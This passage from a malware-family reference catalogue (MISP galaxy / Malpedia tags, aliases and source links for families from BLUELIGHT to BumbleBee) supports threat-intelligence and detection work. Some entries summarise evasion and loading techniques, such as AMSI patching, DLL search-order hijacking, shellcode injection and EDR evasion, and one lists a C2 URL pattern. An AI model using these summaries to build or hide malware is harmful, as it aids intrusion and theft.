<td><a href="https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia">https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia</a></td>
</tr>
</tbody>
</table>

BLUELIGHT

Malware family used to deliver follow up payloads, variants using Microsoft Graph API and Google Web Apps have been observed.

The tag is: misp-galaxy:malpedia="BLUELIGHT"

BLUELIGHT is also known as:

Table 2617. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight">https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight</a></td>
</tr>
</tbody>
</table>
BlueNoroff

This family contains the BlueNoroff toolkit used for SWIFT manipulation, as used by the Lazarus activity cluster also referred to as BlueNoroff.

The tag is: `misp-galaxy:malpedia="BlueNoroff"`

BlueNoroff is also known as:

Table 2618. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff">https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff</a></td>
</tr>
</tbody>
</table>

BlueShell

According to AhnLab, BlueShell is a backdoor malware developed in Go language, published on Github, and it supports Windows, Linux, and Mac operating systems. Currently, the original Github repository is presumed to have been deleted, but the BlueShell source code can still be obtained from other repositories. It features an explanatory ReadMe file in Chinese, indicating the possibility that the creator is a Chinese user.

The tag is: `misp-galaxy:malpedia="BlueShell"`

BlueShell is also known as:

Table 2619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blueshell">https://malpedia.caad.fkie.fraunhofer.de/details/win.blueshell</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/56715/">https://asec.ahnlab.com/ko/56715/</a></td>
</tr>
</tbody>
</table>

BlueSky

Ransomware.

The tag is: `misp-galaxy:malpedia="BlueSky"`

BlueSky is also known as:

Table 2620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky">https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky</a></td>
</tr>
</tbody>
</table>
BLUETHER

The tag is: `misp-galaxy:malpedia="BLUETHER"`

BLUETHER is also known as:

- CAPGELD

Table 2621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether">https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether</a></td>
</tr>
</tbody>
</table>

BluStealer

Avast describe this malware as a recombination of other malware including SpyEx, ThunderFox, ChromeRecovery, StormKitty, and firepwd.

The tag is: `misp-galaxy:malpedia="BluStealer"`

BluStealer is also known as:

- a310logger

Table 2622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GoSecure_Inc/status/1437435265350397957">https://twitter.com/GoSecure_Inc/status/1437435265350397957</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/anhho/blustealer/">https://decoded.avast.io/anhho/blustealer/</a></td>
</tr>
</tbody>
</table>
BOATLAUNCH

FIN7 uses this malware as helper module during intrusion operations. BOATLAUNCH is continuously looking for PowerShell processes on infected systems and patches them to bypass Windows AntiMalware Scan Interface (AMSI).

The tag is: `misp-galaxy:malpedia="BOATLAUNCH"`

BOATLAUNCH is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch">malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/evolution-of-fin7">www.mandiant.com/resources/evolution-of-fin7</a></td>
</tr>
</tbody>
</table>

Boaxxe

The tag is: `misp-galaxy:malpedia="Boaxxe"`

Boaxxe is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe">malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe</a></td>
</tr>
</tbody>
</table>

Bobik

This malware offers remote access capabilities but also has a DDoS module that was used against supporters of Ukraine.

The tag is: `misp-galaxy:malpedia="Bobik"`

Bobik is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik">malpedia.caad.fkie.fraunhofer.de/details/win.bobik</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/bobik/">decoded.avast.io/martinchlumecky/bobik/</a></td>
</tr>
</tbody>
</table>
**Bohmini**

The tag is: `misp-galaxy:malpedia="Bohmini`

Bohmini is also known as:

Table 2626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini">https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini</a></td>
</tr>
</tbody>
</table>

**BOLDMOVE (Windows)**

According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).

The tag is: `misp-galaxy:malpedia="BOLDMOVE (Windows)`

BOLDMOVE (Windows) is also known as:

Table 2627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw">https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw</a></td>
</tr>
</tbody>
</table>

**Bolek**

The tag is: `misp-galaxy:malpedia="Bolek`

Bolek is also known as:

- KBOT

Table 2628. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt">https://lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt</a></td>
</tr>
</tbody>
</table>

**BookCodes RAT**

BookCodes RAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim's filesystem, basic process management and the
download and execution of additional tools from the attacker’s arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646.

BookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.

The tag is: `misp-galaxy:malpedia="BookCodes RAT"`

BookCodes RAT is also known as:

- BookCodesTea

### Table 2629. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat</a></td>
</tr>
</tbody>
</table>

### Book of Eli

This in .Net written malware is a classic information stealer. It can collect various information and can be deployed in different configurations: “The full-featured version of the malware can log keystrokes, collect profile files of Mozilla Firefox and Google Chrome browsers, record sound from the microphone, grab desktop screenshots, capture photo from the webcam, and collect information about the version of the operation system and installed anti-virus software.” (ESET) This malware has been active since at least 2012.

The tag is: `misp-galaxy:malpedia="Book of Eli"`

Book of Eli is also known as:

### Table 2630. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bookofeli">https://malpedia.caad.fkie.fraunhofer.de/details/win.bookofeli</a></td>
</tr>
</tbody>
</table>

### Bookworm

The tag is: `misp-galaxy:malpedia="Bookworm"`

Bookworm is also known as:
Table 2631. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bookworm">https://malpedia.caad.fkie.fraunhofer.de/details/win.bookworm</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/">https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/</a></td>
</tr>
</tbody>
</table>

BOOMBOX

The tag is: *misp-galaxy:malpedia=*"BOOMBOX"

BOOMBOX is also known as:

Table 2632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.boombox">https://malpedia.caad.fkie.fraunhofer.de/details/win.boombox</a></td>
</tr>
<tr>
<td><a href="https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/">https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/</a></td>
</tr>
<tr>
<td><a href="https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/">https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/</a></td>
</tr>
</tbody>
</table>

BOOSTWRITE

FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

The tag is: *misp-galaxy:malpedia=*"BOOSTWRITE"

BOOSTWRITE is also known as:

Table 2633. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite">https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite</a></td>
</tr>
</tbody>
</table>
BOOTWRECK

BOOTWRECK is a master boot record wiper malware.

The tag is: misp-galaxy:malpedia="BOOTWRECK"

BOOTWRECK is also known as:

• MBRkiller

Table 2634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck">https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

Borat RAT

The Borat RAT comes bundled with its components (e.g. binary builder, supporting modules, server certificates). According to Cyble this malware is an unique combination of RAT, Spyware, and ransomware. The supporting modules are included; a few of the capabilities: Keylogger, Ransomware, Audio/Webcam Recording, Process Hollowing, Browser Credential/Discord Token Stealing, etc.

The tag is: misp-galaxy:malpedia="Borat RAT"

Borat RAT is also known as:

Table 2635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/">https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/</a></td>
</tr>
</tbody>
</table>

Borr

The tag is: misp-galaxy:malpedia="Borr"

Borr is also known as:

Table 2636. Table References
**Bouncer**

The tag is: `misp-galaxy:malpedia="Bouncer"`

Bouncer is also known as:

---

**BoxCaon**

According to Checkpoint Research, this malware family has the ability to download and upload files, run commands and send the attackers the results. It has been observed being used by threat actor IndigoZebra.

The tag is: `misp-galaxy:malpedia="BoxCaon"`

BoxCaon is also known as:

---

**Bozok**

The tag is: `misp-galaxy:malpedia="Bozok"`

Bozok is also known as:
BRAIN

The tag is: misp-galaxy:malpedia="BRAIN"

BRAIN is also known as:

Table 2640. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.brain">https://malpedia.caad.fkie.fraunhofer.de/details/win.brain</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/">https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/</a></td>
</tr>
</tbody>
</table>

Brambul

Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim’s networks.

The tag is: misp-galaxy:malpedia="Brambul"

Brambul is also known as:

- SORRYBRUTE

Table 2641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul">https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/nickel-academy">https://www.secureworks.com/research/threat-profiles/nickel-academy</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-149A">https://www.us-cert.gov/ncas/analysis-reports/AR18-149A</a></td>
</tr>
</tbody>
</table>
BravoNC

The tag is: misp-galaxy:malpedia="BravoNC"

BravoNC is also known as:

Table 2642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc">https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group">https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group</a></td>
</tr>
</tbody>
</table>

BrbBot

The tag is: misp-galaxy:malpedia="BrbBot"

BrbBot is also known as:

Table 2643. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot</a></td>
</tr>
</tbody>
</table>

BreachRAT

This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb

The tag is: misp-galaxy:malpedia="BreachRAT"

BreachRAT is also known as:

Table 2644. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat</a></td>
</tr>
</tbody>
</table>
Breakthrough

There is no reference available for this family and all known samples have version 1.0.0.

Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb

The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8


The tag is: misp-galaxy:malpedia="Breakthrough"

Breakthrough is also known as:

Table 2645. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader</a></td>
</tr>
</tbody>
</table>

Bredolab

The tag is: misp-galaxy:malpedia="Bredolab"

Bredolab is also known as:

Table 2646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab">https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/">https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/</a></td>
</tr>
</tbody>
</table>

BrittleBush

The tag is: misp-galaxy:malpedia="BrittleBush"

BrittleBush is also known as:
BROKEYOLK

According to Mandiant, BROKEYOLK is a .NET downloader that downloads and executes a file from a hard-coded command and control (C2) server. The malware communicates via SOAP (Simple Object Access Protocol) requests using HTTP.

The tag is: misp-galaxy:malpedia="BROKEYOLK"

BROKEYOLK is also known as:

BROLER

The tag is: misp-galaxy:malpedia="BROLER"

BROLER is also known as:

• down_new

Bruh Wiper

The tag is: misp-galaxy:malpedia="Bruh Wiper"

Bruh Wiper is also known as:
BrushaLoader

The tag is: *misp-galaxy:malpedia="BrushaLoader"*

BrushaLoader is also known as:

*Table 2651. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html">https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html</a></td>
</tr>
</tbody>
</table>

Brute Ratel C4

Brute Ratel is a Customized Command and Control Center for Red Team and Adversary Simulation

SMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams and more. Built-in debugger to detect EDR userland hooks. Ability to keep memory artifacts hidden from EDRs and AV. Direct Windows SYS calls on the fly.

The tag is: *misp-galaxy:malpedia="Brute Ratel C4"*

Brute Ratel C4 is also known as:

- BruteRatel

*Table 2652. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4">https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4</a></td>
</tr>
<tr>
<td><a href="https://www.unit42.paloaltonetworks.com/brute-ratel-c4-tool/">https://www.unit42.paloaltonetworks.com/brute-ratel-c4-tool/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=a7W6rhkpVSM">https://www.youtube.com/watch?v=a7W6rhkpVSM</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/embee_research/status/1580030303950995456?s=20&amp;t=0vfXnrCXaVSX-P-hiSrFwA">https://twitter.com/embee_research/status/1580030303950995456?s=20&amp;t=0vfXnrCXaVSX-P-hiSrFwA</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing">https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing</a></td>
</tr>
<tr>
<td><a href="https://0xdarkvortex.dev/hiding-in-plainsight/">https://0xdarkvortex.dev/hiding-in-plainsight/</a></td>
</tr>
</tbody>
</table>
BrutPOS

The tag is: `misp-galaxy:malpedia="BrutPOS"`

BrutPOS is also known as:

Table 2653. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos

BS2005

The tag is: `misp-galaxy:malpedia="BS2005"`

BS2005 is also known as:

Table 2654. Table References

Links
BTCWare

The tag is: misp-galaxy:malpedia="BTCWare"

BTCWare is also known as:

Table 2655. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware">https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware</a></td>
</tr>
</tbody>
</table>

BUBBLEWRAP

BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.

The tag is: misp-galaxy:malpedia="BUBBLEWRAP"

BUBBLEWRAP is also known as:

Table 2656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap">https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0043/">https://attack.mitre.org/software/S0043/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html">https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html</a></td>
</tr>
</tbody>
</table>

Buer

Buer is a downloader sold on underground forums and used by threat actors to deliver payload malware onto target machines. It has been observed in email campaigns and has been sold as a service since August 2019.
The tag is: misp-galaxy:malpedia="Buer"

Buer is also known as:

- Buerloader
- RustyBuer

Table 2657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.buer">https://malpedia.caad.fkie.fraunhofer.de/details/win.buer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/StopMalvertisin/status/1182505434231398401">https://twitter.com/StopMalvertisin/status/1182505434231398401</a></td>
</tr>
<tr>
<td><a href="https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/">https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96">https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-blackburn">https://www.secureworks.com/research/threat-profiles/gold-blackburn</a></td>
</tr>
<tr>
<td><a href="https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/">https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-symphony">http://www.secureworks.com/research/threat-profiles/gold-symphony</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/">https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</a></td>
</tr>
</tbody>
</table>
BUFFETLINE

The tag is: misp-galaxy:malpedia="BUFFETLINE"

BUFFETLINE is also known as:

Table 2658. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.buffetline
https://www.us-cert.gov/ncas/analysis-reports/ar20-045f

BUGHATCH

According to Elastic, BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs (VirtualAlloc, CreateThread, WaitForSingleObject).

The tag is: misp-galaxy:malpedia="BUGHATCH"
BugHatch is also known as:

<table>
<thead>
<tr>
<th>Table 2659. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch">https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/bughatch-malware-analysis">https://www.elastic.co/security-labs/bughatch-malware-analysis</a></td>
</tr>
</tbody>
</table>

**Buhtrap**

The tag is: misp-galaxy:malpedia="Buhtrap"

Buhtrap is also known as:

- Ratopak

<table>
<thead>
<tr>
<th>Table 2660. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.butrap">https://malpedia.caad.fkie.fraunhofer.de/details/win.butrap</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2015/04/09/operation-buhtrap/">https://www.welivesecurity.com/2015/04/09/operation-buhtrap/</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e49b912-44f8-4ea0-ac50-4544f0f0e96c&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e49b912-44f8-4ea0-ac50-4544f0f0e96c&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/">https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/</a></td>
</tr>
<tr>
<td><a href="https://malware-research.org/carbanak-source-code-leaked/">https://malware-research.org/carbanak-source-code-leaked/</a></td>
</tr>
<tr>
<td><a href="https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/">https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/</a></td>
</tr>
<tr>
<td><a href="https://www.scythe.io/library/threatthursday-buhtrap">https://www.scythe.io/library/threatthursday-buhtrap</a></td>
</tr>
<tr>
<td><a href="https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/">https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/</a></td>
</tr>
</tbody>
</table>

**BumbleBee**

This malware is delivered by an ISO file, with an DLL inside with a custom loader. Because of the unique user-agent "bumblebee" this malware was dubbed BUMBLEBEE. At the time of Analysis by
Google's Threat Analysis Group (TAG) BumbleBee was observed to fetch Cobalt Strike Payloads.

The tag is: \textit{misp-galaxy:malpedia="BumbleBee"}

BumbleBee is also known as:

- COLDTRAIN
- SHELLSTING
- Shindig

Table 2661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee">https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Intrinsec/status/1709609529070010447">https://twitter.com/Intrinsec/status/1709609529070010447</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads">https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/">https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest">https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/">https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/following-the-lnk-metadata-trail">https://blog.talosintelligence.com/following-the-lnk-metadata-trail</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/">https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/0b211905/description">https://community.riskiq.com/article/0b211905/description</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28664">https://isc.sans.edu/diary/rss/28664</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=JoKJNFtAc0Y">https://www.youtube.com/watch?v=JoKJNFtAc0Y</a></td>
</tr>
<tr>
<td><a href="https://blog.cerbero.io/?p=2617">https://blog.cerbero.io/?p=2617</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/malware%20analysis/Bumblebee-DocuSign-Campaign/">https://0xtoxin.github.io/malware%20analysis/Bumblebee-DocuSign-Campaign/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Artillerie/status/1701250284238823493">https://twitter.com/Artillerie/status/1701250284238823493</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-----</td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/">https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/157796308009655008">https://twitter.com/ESETresearch/status/157796308009655008</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28636">https://isc.sans.edu/diary/rss/28636</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/threatinsight/status/1648330456364883968">https://twitter.com/threatinsight/status/1648330456364883968</a></td>
</tr>
<tr>
<td><a href="https://thedefirreport.com/2022/09/26/bumblebee-round-two/">https://thedefirreport.com/2022/09/26/bumblebee-round-two/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664">https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g">https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g</a></td>
</tr>
<tr>
<td><a href="https://blog.krakz.fr/articles/bumblebee/">https://blog.krakz.fr/articles/bumblebee/</a></td>
</tr>
